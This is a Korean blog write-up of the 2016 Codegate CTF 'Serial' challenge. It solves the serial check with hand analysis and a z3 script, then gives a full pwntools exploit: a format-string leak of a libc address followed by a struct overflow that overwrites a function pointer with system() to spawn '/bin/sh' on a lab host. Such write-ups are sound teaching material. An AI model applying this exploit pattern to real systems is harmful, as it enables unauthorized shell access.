튜기's blogggg

2016 Codegate Serial writeup

by St1tch




문제는 우선 처음에 serial키를 맞춰야지 메뉴가 나오면서 시작된다.

따라서 serial을 우선 맞춘다음 취약점을 알아내야한다.




ascii값으로 57보다 작은값이 12글자이면 오른쪽 화살표로 이동해서 값이 유효한지 확인을 한다.

IDA에서 봤지만 연산과정이 복잡한건진 몰라도 핵스레이가 제대로 해석하지 못한다.

따라서 핸드레이(직접 손으로)를 통해서 serial키를 알아내야한다.

과정이 복잡한거 같지만 비슷한 과정을 반복하기 때문에 금방 serial키를 알아낼 수 있다.



1.  -  a == (AAAA ^ ((44204 ^ 43947 ^ 4080) + ((3855 >> 8) | (3855 << 8))))

2. - b == (BBBB ^ ((43947 ^ a ^ 3855) + ((43947 << 5) | (43947 >> 11))))

3. - c == (CCCC ^ ((4080 ^ b ^ a) + ( (b << 3) | (b >> 13))))

4. - ((((((0 | a) << 16) | b ) << 16) | c ) << 16 ) == 0)



대충 위와 같은 식이 나온다.

4번식이 0이여야지 다음으로 넘어가는데, 생각을 해보면 입력값이 양수이기 때문에 a,b,c가 0이 아니면 4번식이 0이 될수가 없다.

따라서 a = b = c = 0 인 경우를 생각하면 답이 바로 나온다.




from z3 import *

serial = 'AAAABBBBCCCC'

AAAA = BitVec('AAAA', 32)
BBBB = BitVec('BBBB', 32)
CCCC = BitVec('CCCC', 32)

s = Solver()
s.add(0 == (AAAA ^ ( ((44204 ^ 43947 ^ 4080) + ((3855 >> 8) | (3855 << 8))) & 0xffff)))
s.add(0 == (BBBB ^ ( ((43947 ^ 3855) + ((43947 << 5) | (43947 >> 11))) & 0xffff)))
s.add(0 == (CCCC ^  4080 ))

s.check()
m = s.model()
for a in m :
    serial = serial.replace(str(a), str(m[a]))

print serial




처음에 z3를 사용해서 풀려고 코드를 짜고있었는데, 

핸드레이를 끝내고 보니, a=b=c=0 을 대입하면 그냥 파이썬 단순연산으로도 serial값이 나왔다.

무튼 이 serial을 입력하면 본격적인 메뉴가 등장한다.








 string(24byte)

addr(8byte) 



구조체는 위와같은 구조로 되어있다.

그런데 add함수를 보면 구조체를 출력해주는 함수의 주소를 addr영역에 먼저 저장한 뒤, string을 입력을 받는다.

근데 32byte까지 입력을 받을 수 있기때문에 addr영역까지 덮어 씌울수 있다.

이 영역은 dump함수에서 쓰인다.






dump함수를 보면 첫번째 구조체에 저장되있는 addr주소를 call하면서 인자는 첫번째 구조체의 주소를 쓴다.

즉, 정상적인 경우에는 print_buf(&buf) 이런식으로 된다.

이말은 addr영역을 system함수로 덮고 string부분은 '/bin/sh;~~'

이런식으로 만들면 쉘을 실행시킬 수 있다.


이제 이 취약점을 이용해서 공격을 할 수 있다.

우선 system함수의 주소를 알아내야 하는데, FSB를 이용해서 알아낼 수 있다.

printf(&buf) 이런식으로 해서 원하는 데이터를 알아낼 수 있는다.


이 문제에서는 string이 heap영역에 있기 때문에, stack에 고정되있는 부분을 찾아서 fsb의 offset을 찾고 main의 ret부분의 값을 읽어 올 수있다.

그리고 이 ret주소에 해당하는 libc를 찾아 offset계산을 통해 system의 주소를 알아냈다.




offset 26번째와 23번째에 고정된값이 있어서 gdb로 찾아보았다.




고정된 주소와 rbp의 거리는 같기 때문에 gdb에서 fsb의 offset을 정확히 알아 낼 수 있다.

이제 system주소만 계산하면 바로 쉘을 획득할 수 있다.




from pwn import *
import stitch

s = remote('10.211.55.38', 9004)

s.recvuntil('key:')
s.sendline('615066814080')

#add, fsb payload
pay = 'ZZZZ'
pay += '%D$llx'.replace('D', '19')  #__libc_start_main_ret leak
pay += 'A' * (24 - len(pay))
pay += p64(0x400790)                #printf_plt
s.recvuntil('>>')
s.sendline('1')
s.recvuntil('>>')
s.sendline(pay)
s.recvuntil('>>')
s.recvuntil('>>')

#dump, find system addr
s.sendline('3')
__libc_start_main_ret = int(s.recvuntil('>>').split('AAAAA')[0].split('ZZZZ')[1], 16)
libc = stitch.find_libc({'main_ret':hex(__libc_start_main_ret)[-3:]})
system = __libc_start_main_ret - libc[0]['main_ret'] + libc[0]['system']

#delete
s.sendline('2')
s.recvuntil('>>')
s.sendline('0')
s.recvuntil('>>')

#add
s.sendline('1')
s.recvuntil('>>')
pay = '/bin/sh;'
pay += 'A' * (24 - len(pay))
pay += p64(system)
s.sendline(pay)
s.recvuntil('>>')
s.recvuntil('>>')

#exploit, system(/bin/sh)
s.sendline('3')

s.interactive()









블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기